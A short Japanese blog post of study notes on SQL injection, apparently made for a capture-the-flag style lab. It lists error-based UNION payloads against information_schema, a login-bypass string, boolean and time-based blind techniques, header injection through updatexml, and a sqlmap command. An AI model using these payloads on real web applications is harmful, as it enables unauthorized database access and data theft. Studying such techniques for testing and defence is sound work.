コンテンツへスキップ

[ノート] SQLインジェクション

2022年5月12日

エラーベースSQLインジェクション

原理

ユーザー入力がSQL文としてデータベースで実行される。Webサイトが入力されたSQL文を実行する場合、SQLインジェクション脆弱性が存在する。

入力場所: ①検索ボックスなどの入力欄 ②URLパラメータ (domain/search?keyword=123)

基本構文

SELECT 列名 FROM テーブル名 WHERE 条件 / * = 全件選択

注入プロセス

① SQL脆弱性の判断

and 1=1 → 結果あり / and 1=2 → 結果なし → 脆弱性あり

② ORDER BYで列数判定

ORDER BY 1~3 → 結果あり、ORDER BY 4 → 結果なし → 3列

③ UNIONで表示位置確認

UNION SELECT 1,2,3

④ データ取得

version() / database() → バージョン・DB名

テーブル名取得: UNION SELECT 1,2,table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 列名取得: UNION SELECT 1,2,column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='error_flag' LIMIT 1,1 データ取得: UNION SELECT 1,2,flag FROM error_flag LIMIT 1,1

引用符の閉じ方

コメント: --+, #, --d

AND/OR: 万能パスワード ' or 2-1=1 -- asdf

ブラインドSQLインジェクション

論理ブラインド

AND length(database())=12 → 結果あり → DB名は12文字 AND substr(database(),1,1)='k' → 最初の文字を推測

時間ブラインド

IF(条件, sleep(5), 3) → 条件成立時に5秒遅延

SQLMap

python sqlmap.py -u "URL"

HEADインジェクション

User-Agent / Referer / X-Forwarded-For 経由の注入。updatexml(1,concat(0x7e,(SELECT version())),1),1) でエラーベース注入。

前の記事
[ノート] JavaScript
次の記事
[ノート] CentOS 7 オペレーティングシステム